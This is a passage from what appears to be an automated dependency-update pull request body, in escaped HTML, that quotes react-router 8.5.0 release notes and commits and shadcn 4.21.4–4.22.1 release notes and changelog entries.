href=\"https://redirect.github.com/remix-run/react-router/pull/15602\"\u003e#15602\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eDiscover selected destinations or load the running client's full route manifest without loading route modules\u003c/li\u003e\n\u003cli\u003eCompose manifest-mismatch handlers, with shared recovery and cancellation that preserves application state\u003c/li\u003e\n\u003cli\u003eKeep full-manifest failures catchable without rendering error boundaries, whether mismatch handlers use the hook or event's \u003ccode\u003eloadAllRoutes()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCancel pending revalidation alongside a canceled navigation, retaining existing data and settling interrupted fetchers before restoring Back/Forward history\u003c/li\u003e\n\u003cli\u003eEnable \u003ccode\u003efuture.unstable_customRouteDiscovery\u003c/code\u003e to opt in\n\u003cul\u003e\n\u003cli\u003eApps without the flag retain existing discovery behavior\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eCall \u003ccode\u003eevent.defaultBehavior()\u003c/code\u003e from a custom mismatch handler to explicitly run built-in recovery\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eReturn middleware short-circuit responses as-is for document requests in RSC modes, including resource routes, instead of decoding non-RSC bodies as Flight (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15628\"\u003e#15628\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eInclude server middleware in both eager and lazy RSC route configuration types\u003c/li\u003e\n\u003cli\u003ePreserve HTML rendering for cached Flight responses returned by middleware, and pass through raw responses that replace the result of \u003ccode\u003enext()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/4fe4525102870a2b21a4a0568a651d118f5e5dbb\"\u003e\u003ccode\u003e4fe4525\u003c/code\u003e\u003c/a\u003e Release v8.5.0 (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15515\"\u003e#15515\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/358001c62beecfeb261b7f045ca9309464114027\"\u003e\u003ccode\u003e358001c\u003c/code\u003e\u003c/a\u003e docs: prepare v8.5.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/5ff82948b7d9437e096085de403813e7e853d485\"\u003e\u003ccode\u003e5ff8294\u003c/code\u003e\u003c/a\u003e Fix RouterProvider initialization recovery with existing subscribers (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15637\"\u003e#15637\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/d86f6b49a1b53e056880363d25e79cd68890e9c4\"\u003e\u003ccode\u003ed86f6b4\u003c/code\u003e\u003c/a\u003e Add opt-in application-controlled route discovery (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15602\"\u003e#15602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/19f75c04f89a67c39f1e0411291d9cdff85c0170\"\u003e\u003ccode\u003e19f75c0\u003c/code\u003e\u003c/a\u003e Default single-fetch data strategy to native fetch (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15638\"\u003e#15638\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/5e9405326ff4d7aea9d0780010b1efd686a8885f\"\u003e\u003ccode\u003e5e94053\u003c/code\u003e\u003c/a\u003e Fix \u003ccode\u003e\\\u0026lt;Await\u0026gt;\u003c/code\u003e server rendering for RSC promises (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15597\"\u003e#15597\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/843230c5c769a4785fc85aa426a132dc33d49d9b\"\u003e\u003ccode\u003e843230c\u003c/code\u003e\u003c/a\u003e fix(react-router): stop the RSC HTML stream when it is cancelled during flush...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/08ee782ddf7d6a67e6b92f7c58762f73bf58ab42\"\u003e\u003ccode\u003e08ee782\u003c/code\u003e\u003c/a\u003e fix(react-router): stop revalidating a fetcher after reset (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/15633\"\u003e#15633\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/6549ab0a6eb411fb4a27a1e3329fdcef97ba0007\"\u003e\u003ccode\u003e6549ab0\u003c/code\u003e\u003c/a\u003e fix(rsc): tag middleware short-circuit responses as React-Router-Resource (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/remix-run/react-router/commit/a1422f12598bfa74b71aae8a07a62ccbf8b09f31\"\u003e\u003ccode\u003ea1422f1\u003c/code\u003e\u003c/a\u003e fix: render HydrateFallback of routes discovered during initial hydration (\u003ca href=\"https://github.com/remix-run/react-router/tree/HEAD/packages/react-router/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/remix-run/react-router/commits/react-router@8.5.0/packages/react-router\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `shadcn` from 4.21.3 to 4.22.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/shadcn-ui/ui/releases\"\u003eshadcn's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eshadcn@4.22.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12360\"\u003e#12360\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/4381eeb3fe421af7d25b780f85ff9cbc8d50c51a\"\u003e\u003ccode\u003e4381eeb\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Fix \u003ccode\u003eshadcn add --all\u003c/code\u003e and the component picker to only include components available for the project's style.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eshadcn@4.22.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12298\"\u003e#12298\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/954ce953412867a57b7e067c076fa7fd395ea115\"\u003e\u003ccode\u003e954ce95\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Upgrade to Zod 4. \u003ccode\u003eshadcn/schema\u003c/code\u003e and \u003ccode\u003e@shadcn/registry/schema\u003c/code\u003e now export Zod 4 schemas, so passing them to Zod 3's \u003ccode\u003ez\u003c/code\u003e no longer typechecks. On Zod 3, use the exported types (\u003ccode\u003eRegistryItem\u003c/code\u003e, \u003ccode\u003eRegistryItemFile\u003c/code\u003e, \u003ccode\u003eConfig\u003c/code\u003e) and the schema's own methods (\u003ccode\u003eregistryItemSchema.array()\u003c/code\u003e) instead of \u003ccode\u003ez.infer\u003c/code\u003e and \u003ccode\u003ez.array\u003c/code\u003e. Zod errors expose \u003ccode\u003eissues\u003c/code\u003e, not \u003ccode\u003eerrors\u003c/code\u003e. Validation messages now use Zod 4's wording.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/shadcn-ui/ui/commit/954ce953412867a57b7e067c076fa7fd395ea115\"\u003e\u003ccode\u003e954ce95\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​shadcn/registry\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.2.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eshadcn@4.21.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12214\"\u003e#12214\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/440734966e04a1e429bb8df8a29d7095a5e4a60f\"\u003e\u003ccode\u003e4407349\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003e@modelcontextprotocol/sdk\u003c/code\u003e, \u003ccode\u003ebrowserslist\u003c/code\u003e, \u003ccode\u003eopen\u003c/code\u003e and \u003ccode\u003epostcss-selector-parser\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12192\"\u003e#12192\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/dd34945272729ecd198fabb0e32082f6321c210e\"\u003e\u003ccode\u003edd34945\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Move \u003ccode\u003e@​shadcn/registry\u003c/code\u003e modules out of utils.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12297\"\u003e#12297\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/7aa2110d4ae0910429093c2240948c916d18dd7f\"\u003e\u003ccode\u003e7aa2110\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mattzcarey\"\u003e\u003ccode\u003e@​mattzcarey\u003c/code\u003e\u003c/a\u003e! - Fix MCP search and list results showing \u003ccode\u003e[object Promise]\u003c/code\u003e instead of the add command.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12174\"\u003e#12174\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/2af71ac3188a89e42027bca3817daf128cbce7c2\"\u003e\u003ccode\u003e2af71ac\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003e@modelcontextprotocol/sdk\u003c/code\u003e to 1.31.0.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12048\"\u003e#12048\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/cfb4cb6fce835cda9342fae1592b21ece48ce23d\"\u003e\u003ccode\u003ecfb4cb6\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003eundici\u003c/code\u003e to 7.29.1.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/shadcn-ui/ui/commit/97ddbf4274ed09d02aa7fd34375f2cf1e48cbbf0\"\u003e\u003ccode\u003e97ddbf4\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/dd34945272729ecd198fabb0e32082f6321c210e\"\u003e\u003ccode\u003edd34945\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/cfb4cb6fce835cda9342fae1592b21ece48ce23d\"\u003e\u003ccode\u003ecfb4cb6\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​shadcn/registry\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.1.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eshadcn@4.21.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12189\"\u003e#12189\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/76fd499595ba7cc01f49d159bd7ac82d7aca8e63\"\u003e\u003ccode\u003e76fd499595ba7cc01f49d159bd7ac82d7aca8e63\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Drop the ts-morph dependency from \u003ccode\u003e@​shadcn/registry\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12184\"\u003e#12184\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/995c2cfff44c373bd210d451089726ec097ab917\"\u003e\u003ccode\u003e995c2cfff44c373bd210d451089726ec097ab917\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Run the icons and asChild transformers without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12160\"\u003e#12160\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\"\u003e\u003ccode\u003e6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Edit the Next.js layout for font items without ts-morph, and skip it with a warning instead of writing a broken layout.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12188\"\u003e#12188\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/efa11781f756c86debb0392fbea4fe468250b41b\"\u003e\u003ccode\u003eefa11781f756c86debb0392fbea4fe468250b41b\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Rewrite imports and crawl file imports without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12177\"\u003e#12177\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/e8c3143b1cd191280befcd6c9538284bb43399a8\"\u003e\u003ccode\u003ee8c3143b1cd191280befcd6c9538284bb43399a8\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Edit tailwind.config without ts-morph, and skip it with a warning instead of writing a broken config.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12183\"\u003e#12183\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/f56bbd7282f0116a925a601cb6d7e0c3fede448b\"\u003e\u003ccode\u003ef56bbd7282f0116a925a601cb6d7e0c3fede448b\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Run the rsc, import, CSS variable, cleanup, font and menu transformers without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12185\"\u003e#12185\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/4a90344c42dc9ae47494179065219377ff5f2a8f\"\u003e\u003ccode\u003e4a90344c42dc9ae47494179065219377ff5f2a8f\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Run the Tailwind prefix and RTL transformers without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/shadcn-ui/ui/commit/76fd499595ba7cc01f49d159bd7ac82d7aca8e63\"\u003e\u003ccode\u003e76fd499595ba7cc01f49d159bd7ac82d7aca8e63\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/995c2cfff44c373bd210d451089726ec097ab917\"\u003e\u003ccode\u003e995c2cfff44c373bd210d451089726ec097ab917\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\"\u003e\u003ccode\u003e6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/232d7e2c128d94d37a6dae74e3b0e1a8f08ff6e4\"\u003e\u003ccode\u003e232d7e2c128d94d37a6dae74e3b0e1a8f08ff6e4\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/efa11781f756c86debb0392fbea4fe468250b41b\"\u003e\u003ccode\u003eefa11781f756c86debb0392fbea4fe468250b41b\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/e8c3143b1cd191280befcd6c9538284bb43399a8\"\u003e\u003ccode\u003ee8c3143b1cd191280befcd6c9538284bb43399a8\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/f56bbd7282f0116a925a601cb6d7e0c3fede448b\"\u003e\u003ccode\u003ef56bbd7282f0116a925a601cb6d7e0c3fede448b\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/4a90344c42dc9ae47494179065219377ff5f2a8f\"\u003e\u003ccode\u003e4a90344c42dc9ae47494179065219377ff5f2a8f\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​shadcn/registry\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.1.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/shadcn-ui/ui/blob/main/packages/shadcn/CHANGELOG.md\"\u003eshadcn's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.22.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12360\"\u003e#12360\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/4381eeb3fe421af7d25b780f85ff9cbc8d50c51a\"\u003e\u003ccode\u003e4381eeb\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Fix \u003ccode\u003eshadcn add --all\u003c/code\u003e and the component picker to only include components available for the project's style.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.22.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12298\"\u003e#12298\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/954ce953412867a57b7e067c076fa7fd395ea115\"\u003e\u003ccode\u003e954ce95\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Upgrade to Zod 4. \u003ccode\u003eshadcn/schema\u003c/code\u003e and \u003ccode\u003e@shadcn/registry/schema\u003c/code\u003e now export Zod 4 schemas, so passing them to Zod 3's \u003ccode\u003ez\u003c/code\u003e no longer typechecks. On Zod 3, use the exported types (\u003ccode\u003eRegistryItem\u003c/code\u003e, \u003ccode\u003eRegistryItemFile\u003c/code\u003e, \u003ccode\u003eConfig\u003c/code\u003e) and the schema's own methods (\u003ccode\u003eregistryItemSchema.array()\u003c/code\u003e) instead of \u003ccode\u003ez.infer\u003c/code\u003e and \u003ccode\u003ez.array\u003c/code\u003e. Zod errors expose \u003ccode\u003eissues\u003c/code\u003e, not \u003ccode\u003eerrors\u003c/code\u003e. Validation messages now use Zod 4's wording.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/shadcn-ui/ui/commit/954ce953412867a57b7e067c076fa7fd395ea115\"\u003e\u003ccode\u003e954ce95\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​shadcn/registry\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.2.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.21.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12214\"\u003e#12214\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/440734966e04a1e429bb8df8a29d7095a5e4a60f\"\u003e\u003ccode\u003e4407349\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003e@modelcontextprotocol/sdk\u003c/code\u003e, \u003ccode\u003ebrowserslist\u003c/code\u003e, \u003ccode\u003eopen\u003c/code\u003e and \u003ccode\u003epostcss-selector-parser\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12192\"\u003e#12192\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/dd34945272729ecd198fabb0e32082f6321c210e\"\u003e\u003ccode\u003edd34945\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Move \u003ccode\u003e@​shadcn/registry\u003c/code\u003e modules out of utils.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12297\"\u003e#12297\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/7aa2110d4ae0910429093c2240948c916d18dd7f\"\u003e\u003ccode\u003e7aa2110\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mattzcarey\"\u003e\u003ccode\u003e@​mattzcarey\u003c/code\u003e\u003c/a\u003e! - Fix MCP search and list results showing \u003ccode\u003e[object Promise]\u003c/code\u003e instead of the add command.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12174\"\u003e#12174\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/2af71ac3188a89e42027bca3817daf128cbce7c2\"\u003e\u003ccode\u003e2af71ac\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003e@modelcontextprotocol/sdk\u003c/code\u003e to 1.31.0.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12048\"\u003e#12048\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/cfb4cb6fce835cda9342fae1592b21ece48ce23d\"\u003e\u003ccode\u003ecfb4cb6\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003eundici\u003c/code\u003e to 7.29.1.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/shadcn-ui/ui/commit/97ddbf4274ed09d02aa7fd34375f2cf1e48cbbf0\"\u003e\u003ccode\u003e97ddbf4\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/dd34945272729ecd198fabb0e32082f6321c210e\"\u003e\u003ccode\u003edd34945\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/cfb4cb6fce835cda9342fae1592b21ece48ce23d\"\u003e\u003ccode\u003ecfb4cb6\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​shadcn/registry\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.1.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.21.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12189\"\u003e#12189\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/76fd499595ba7cc01f49d159bd7ac82d7aca8e63\"\u003e\u003ccode\u003e76fd499595ba7cc01f49d159bd7ac82d7aca8e63\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Drop the ts-morph dependency from \u003ccode\u003e@​shadcn/registry\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12184\"\u003e#12184\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/995c2cfff44c373bd210d451089726ec097ab917\"\u003e\u003ccode\u003e995c2cfff44c373bd210d451089726ec097ab917\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Run the icons and asChild transformers without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12160\"\u003e#12160\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\"\u003e\u003ccode\u003e6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Edit the Next.js layout for font items without ts-morph, and skip it with a warning instead of writing a broken layout.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12188\"\u003e#12188\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/efa11781f756c86debb0392fbea4fe468250b41b\"\u003e\u003ccode\u003eefa11781f756c86debb0392fbea4fe468250b41b\u003c/code\u003e\u003c/a\u003e Thanks \u003ca 